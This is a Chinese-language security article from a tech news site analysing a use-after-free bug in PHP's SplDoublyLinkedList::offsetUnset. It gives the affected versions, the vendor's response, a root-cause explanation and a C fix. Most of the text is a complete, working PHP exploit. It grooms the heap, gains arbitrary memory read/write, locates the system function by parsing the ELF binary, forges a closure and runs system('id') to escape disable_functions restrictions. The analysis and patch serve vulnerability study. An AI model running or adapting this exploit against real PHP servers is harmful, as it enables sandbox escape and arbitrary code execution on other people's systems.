溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

PHP SplDoublyLinkedList中的用后釋放漏洞的示例分析

發(fā)布時間:2021-10-18 10:55:53 來源:億速云 閱讀:119 作者:柒染 欄目:安全技術(shù)

這期內(nèi)容當(dāng)中小編將會給大家?guī)碛嘘P(guān)PHP SplDoublyLinkedList中的用后釋放漏洞的示例分析,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

漏洞描述

PHP的SplDoublyLinkedList雙向鏈表庫中存在一個用后釋放漏洞,該漏洞將允許攻擊者通過運(yùn)行PHP代碼來轉(zhuǎn)義disable_functions限制函數(shù)。在該漏洞的幫助下,遠(yuǎn)程攻擊者將能夠?qū)崿F(xiàn)PHP沙箱逃逸,并執(zhí)行任意代碼。更準(zhǔn)確地來說,成功利用該漏洞后,攻擊者將能夠繞過PHP的某些限制,例如disable_functions和safe_mode等等。

受影響版本

  • PHP v8.0(Alpha);

  • PHP v7.4.10及其之前版本;

廠商回應(yīng)

根據(jù)我們的安全分類,我們認(rèn)為這并非一個安全問題,因?yàn)樗枰?a title="服務(wù)器" target="_blank" href="http://kemok4.com/">服務(wù)器端執(zhí)行非常特殊的代碼才能夠觸發(fā)該漏洞。如果攻擊者能夠?qū)崿F(xiàn)代碼注入,那么肯定是由一個比該漏洞更加嚴(yán)重的漏洞存在所導(dǎo)致的。

漏洞分析

SplDoublyLinkedList是PHP中的一個雙向鏈表庫(DLL),這個庫支持進(jìn)行迭代,即能夠存儲一個指針指向當(dāng)前的DLL元素以實(shí)現(xiàn)迭代。這樣一來,開發(fā)人員就可以通過調(diào)用next()和prev()來讓DLL指向其他的元素了。

當(dāng)我們刪除DLL中的某個元素之后,PHP將從DLL中移除該元素,然后銷毀掉zval,如果指針指向該元素的話,那么就存在空指針問題了。因此,當(dāng)zval被銷毀之后,當(dāng)前指針仍然指向相關(guān)聯(lián)元素,即使其已經(jīng)被從鏈表中移除了。這樣一來,用后釋放問題便出現(xiàn)了,因?yàn)槲覀兛梢酝ㄟ^在zval的構(gòu)造器中調(diào)用$dll->next()或$dll->prev()來觸發(fā)該漏洞。

利用輸入?yún)?shù)觸發(fā)漏洞

我們可以使用兩個值來創(chuàng)建一個SplDoublyLinkedList對象$s,第一個值是一個帶有特殊結(jié)構(gòu)體__destruct 的對象,另一個值我們不用理會。接下來,我們可以調(diào)用$s->rewind()來讓當(dāng)前迭代元素的指針指向我們的對象。當(dāng)我們調(diào)用$s->offsetUnset(0)時,它將會調(diào)用底層C函數(shù)SPL_METHOD(SplDoublyLinkedList, offsetUnset)(該函數(shù)存在于ext/spl/spl_dllist.c中),這個函數(shù)將完成以下幾件事情:

1、通過設(shè)置下列參數(shù)將元素從雙線鏈表中移除:

element->prev->next = element->next

element->next->prev = element->prev

2、銷毀相關(guān)的zval(llist->dtor);

3、如果intern->traverse_pointer指向目標(biāo)元素,它會將指針設(shè)置為NULL;

在第二步中,會調(diào)用我們對象的__destruct方法,而intern->traverse_pointer仍然會指向該元素。為了觸發(fā)用后釋放問題,我們需要做下列幾件事情:

  • 通過調(diào)用$s->offsetUnset(0)來移除雙向鏈表中的第二個元素,讓intern->traverse_pointer->next指向一個未分配的空間;

  • 調(diào)用$s->next():調(diào)用鏈為intern->traverse_pointer = intern->traverse_pointer->next。由于該地址已在第一步被釋放,那么traverse_pointer將指向一個未分配的地址;

  • 使用$s->current(),我們將能夠訪問未分配的地址,從而觸發(fā)用后釋放漏洞;

漏洞修復(fù)

需要在銷毀zval之前清理掉intern->traverse_pointer指針,隨后刪除相關(guān)的引用。參考代碼如下:

was_traverse_pointer = 0;

 

        // Clear the current pointer

        if (intern->traverse_pointer == element) {

            intern->traverse_pointer = NULL;

            was_traverse_pointer = 1;

        }

 

        if(llist->dtor) {

            llist->dtor(element);

        }

 

        if(was_traverse_pointer) {

            SPL_LLIST_DELREF(element);

        }

 

        // In the current implementation, this part is useless, because

        // llist->dtor will UNDEF the zval before

        zval_ptr_dtor(&element->data);

        ZVAL_UNDEF(&element->data);

 

        SPL_LLIST_DELREF(element);

利用演示

PHP SplDoublyLinkedList中的用后釋放漏洞的示例分析

漏洞利用

<?php

#

# PHP SplDoublyLinkedList::offsetUnset UAF

# Charles Fol (@cfreal_)

# 2020-08-07

# PHP is vulnerable from 5.3 to 8.0 alpha

# This exploit only targets PHP7+.

#

# SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.

# Said iteration is done by keeping a pointer to the "current" DLL element.

# You can then call next() or prev() to make the DLL point to another element.

# When you delete an element of the DLL, PHP will remove the element from the

# DLL, then destroy the zval, and finally clear the current ptr if it points

# to the element. Therefore, when the zval is destroyed, current is still

# pointing to the associated element, even if it was removed from the list.

# This allows for an easy UAF, because you can call $dll->next() or

# $dll->prev() in the zval's destructor.

# 

#

 

error_reporting(E_ALL);

 

define('NB_DANGLING', 200);

define('SIZE_ELEM_STR', 40 - 24 - 1);

define('STR_MARKER', 0xcf5ea1);

 

function i2s(&$s, $p, $i, $x=8)

{

    for($j=0;$j<$x;$j++)

    {

        $s[$p+$j] = chr($i & 0xff);

        $i >>= 8;

    }

}

 

 

function s2i(&$s, $p, $x=8)

{

    $i = 0;

 

    for($j=$x-1;$j>=0;$j--)

    {

        $i <<= 8;

        $i |= ord($s[$p+$j]);

    }

 

    return $i;

}

 

 

class UAFTrigger

{

    function __destruct()

    {

        global $dlls, $strs, $rw_dll, $fake_dll_element, $leaked_str_offsets;

 

        #"print('UAF __destruct: ' . "\n");

        $dlls[NB_DANGLING]->offsetUnset(0);

       

        # At this point every $dll->current points to the same freed chunk. We allocate

        # that chunk with a string, and fill the zval part

        $fake_dll_element = str_shuffle(str_repeat('A', SIZE_ELEM_STR));

        i2s($fake_dll_element, 0x00, 0x12345678); # ptr

        i2s($fake_dll_element, 0x08, 0x00000004, 7); # type + other stuff

       

        # Each of these dlls current->next pointers point to the same location,

        # the string we allocated. When calling next(), our fake element becomes

        # the current value, and as such its rc is incremented. Since rc is at

        # the same place as zend_string.len, the length of the string gets bigger,

        # allowing to R/W any part of the following memory

        for($i = 0; $i <= NB_DANGLING; $i++)

            $dlls[$i]->next();

 

        if(strlen($fake_dll_element) <= SIZE_ELEM_STR)

            die('Exploit failed: fake_dll_element did not increase in size');

       

        $leaked_str_offsets = [];

        $leaked_str_zval = [];

 

        # In the memory after our fake element, that we can now read and write,

        # there are lots of zend_string chunks that we allocated. We keep three,

        # and we keep track of their offsets.

        for($offset = SIZE_ELEM_STR + 1; $offset <= strlen($fake_dll_element) - 40; $offset += 40)

        {

            # If we find a string marker, pull it from the string list

            if(s2i($fake_dll_element, $offset + 0x18) == STR_MARKER)

            {

                $leaked_str_offsets[] = $offset;

                $leaked_str_zval[] = $strs[s2i($fake_dll_element, $offset + 0x20)];

                if(count($leaked_str_zval) == 3)

                    break;

            }

        }

 

        if(count($leaked_str_zval) != 3)

            die('Exploit failed: unable to leak three zend_strings');

       

        # free the strings, except the three we need

        $strs = null;

 

        # Leak adress of first chunk

        unset($leaked_str_zval[0]);

        unset($leaked_str_zval[1]);

        unset($leaked_str_zval[2]);

        $first_chunk_addr = s2i($fake_dll_element, $leaked_str_offsets[1]);

 

        # At this point we have 3 freed chunks of size 40, which we can read/write,

        # and we know their address.

        print('Address of first RW chunk: 0x' . dechex($first_chunk_addr) . "\n");

 

        # In the third one, we will allocate a DLL element which points to a zend_array

        $rw_dll->push([3]);

        $array_addr = s2i($fake_dll_element, $leaked_str_offsets[2] + 0x18);

        # Change the zval type from zend_object to zend_string

        i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);

        if(gettype($rw_dll[0]) != 'string')

            die('Exploit failed: Unable to change zend_array to zend_string');

       

        # We can now read anything: if we want to read 0x11223300, we make zend_string*

        # point to 0x11223300-0x10, and read its size using strlen()

 

        # Read zend_array->pDestructor

        $zval_ptr_dtor_addr = read($array_addr + 0x30);

    

        print('Leaked zval_ptr_dtor address: 0x' . dechex($zval_ptr_dtor_addr) . "\n");

 

        # Use it to find zif_system

        $system_addr = get_system_address($zval_ptr_dtor_addr);

        print('Got PHP_FUNCTION(system): 0x' . dechex($system_addr) . "\n");

       

        # In the second freed block, we create a closure and copy the zend_closure struct

        # to a string

        $rw_dll->push(function ($x) {});

        $closure_addr = s2i($fake_dll_element, $leaked_str_offsets[1] + 0x18);

        $data = str_shuffle(str_repeat('A', 0x200));

 

        for($i = 0; $i < 0x138; $i += 8)

        {

            i2s($data, $i, read($closure_addr + $i));

        }

       

        # Change internal func type and pointer to make the closure execute system instead

        i2s($data, 0x38, 1, 4);

        i2s($data, 0x68, $system_addr);

       

        # Push our string, which contains a fake zend_closure, in the last freed chunk that

        # we control, and make the second zval point to it.

        $rw_dll->push($data);

        $fake_zend_closure = s2i($fake_dll_element, $leaked_str_offsets[0] + 0x18) + 24;

        i2s($fake_dll_element, $leaked_str_offsets[1] + 0x18, $fake_zend_closure);

        print('Replaced zend_closure by the fake one: 0x' . dechex($fake_zend_closure) . "\n");

       

        # Calling it now

       

        print('Running system("id");' . "\n");

        $rw_dll[1]('id');

 

        print_r('DONE'."\n");

    }

}

 

class DanglingTrigger

{

    function __construct($i)

    {

        $this->i = $i;

    }

 

    function __destruct()

    {

        global $dlls;

        #D print('__destruct: ' . $this->i . "\n");

        $dlls[$this->i]->offsetUnset(0);

        $dlls[$this->i+1]->push(123);

        $dlls[$this->i+1]->offsetUnset(0);

    }

}

 

class SystemExecutor extends ArrayObject

{

    function offsetGet($x)

    {

        parent::offsetGet($x);

    }

}

 

/**

 * Reads an arbitrary address by changing a zval to point to the address minus 0x10,

 * and setting its type to zend_string, so that zend_string->len points to the value

 * we want to read.

 */

function read($addr, $s=8)

{

    global $fake_dll_element, $leaked_str_offsets, $rw_dll;

 

    i2s($fake_dll_element, $leaked_str_offsets[2] + 0x18, $addr - 0x10);

    i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);

 

    $value = strlen($rw_dll[0]);

 

    if($s != 8)

        $value &= (1 << ($s << 3)) - 1;

 

    return $value;

}

 

function get_binary_base($binary_leak)

{

    $base = 0;

    $start = $binary_leak & 0xfffffffffffff000;

    for($i = 0; $i < 0x1000; $i++)

    {

        $addr = $start - 0x1000 * $i;

        $leak = read($addr, 7);

        # ELF header

        if($leak == 0x10102464c457f)

            return $addr;

    }

    # We'll crash before this but it's clearer this way

    die('Exploit failed: Unable to find ELF header');

}

 

function parse_elf($base)

{

    $e_type = read($base + 0x10, 2);

 

    $e_phoff = read($base + 0x20);

    $e_phentsize = read($base + 0x36, 2);

    $e_phnum = read($base + 0x38, 2);

 

    for($i = 0; $i < $e_phnum; $i++) {

        $header = $base + $e_phoff + $i * $e_phentsize;

        $p_type  = read($header + 0x00, 4);

        $p_flags = read($header + 0x04, 4);

        $p_vaddr = read($header + 0x10);

        $p_memsz = read($header + 0x28);

 

        if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write

            # handle pie

            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;

            $data_size = $p_memsz;

        } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec

            $text_size = $p_memsz;

        }

    }

 

    if(!$data_addr || !$text_size || !$data_size)

        die('Exploit failed: Unable to parse ELF');

 

    return [$data_addr, $text_size, $data_size];

}

 

function get_basic_funcs($base, $elf) {

    list($data_addr, $text_size, $data_size) = $elf;

    for($i = 0; $i < $data_size / 8; $i++) {

        $leak = read($data_addr + $i * 8);

        if($leak - $base > 0 && $leak < $data_addr) {

            $deref = read($leak);

            # 'constant' constant check

            if($deref != 0x746e6174736e6f63)

                continue;

        } else continue;

 

        $leak = read($data_addr + ($i + 4) * 8);

        if($leak - $base > 0 && $leak < $data_addr) {

            $deref = read($leak);

            # 'bin2hex' constant check

            if($deref != 0x786568326e6962)

                continue;

        } else continue;

 

        return $data_addr + $i * 8;

    }

}

 

function get_system($basic_funcs)

{

    $addr = $basic_funcs;

    do {

        $f_entry = read($addr);

        $f_name = read($f_entry, 6);

 

        if($f_name == 0x6d6574737973) { # system

            return read($addr + 8);

        }

        $addr += 0x20;

    } while($f_entry != 0);

    return false;

}

 

function get_system_address($binary_leak)

{

    $base = get_binary_base($binary_leak);

    print('ELF base: 0x' .dechex($base) . "\n");

    $elf = parse_elf($base);

    $basic_funcs = get_basic_funcs($base, $elf);

    print('Basic functions: 0x' .dechex($basic_funcs) . "\n");

    $zif_system = get_system($basic_funcs);

    return $zif_system;

}

 

$dlls = [];

$strs = [];

$rw_dll = new SplDoublyLinkedList();

 

 

# Create a chain of dangling triggers, which will all in turn

# free current->next, push an element to the next list, and free current

# This will make sure that every current->next points the same memory block,

# which we will UAF.

for($i = 0; $i < NB_DANGLING; $i++)

{

    $dlls[$i] = new SplDoublyLinkedList();

    $dlls[$i]->push(new DanglingTrigger($i));

    $dlls[$i]->rewind();

}

 

# We want our UAF'd list element to be before two strings, so that we can

# obtain the address of the first string, and increase is size. We then have

# R/W over all memory after the obtained address.

define('NB_STRS', 50);

for($i = 0; $i < NB_STRS; $i++)

{

    $strs[] = str_shuffle(str_repeat('A', SIZE_ELEM_STR));

    i2s($strs[$i], 0, STR_MARKER);

    i2s($strs[$i], 8, $i, 7);

}

 

# Free one string in the middle, ...

$strs[NB_STRS - 20] = 123;

# ... and put the to-be-UAF'd list element instead.

$dlls[0]->push(0);

 

# Setup the last DLlist, which will exploit the UAF

$dlls[NB_DANGLING] = new SplDoublyLinkedList();

$dlls[NB_DANGLING]->push(new UAFTrigger());

$dlls[NB_DANGLING]->rewind();

 

# Trigger the bug on the first list

$dlls[0]->offsetUnset(0);

上述就是小編為大家分享的PHP SplDoublyLinkedList中的用后釋放漏洞的示例分析了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI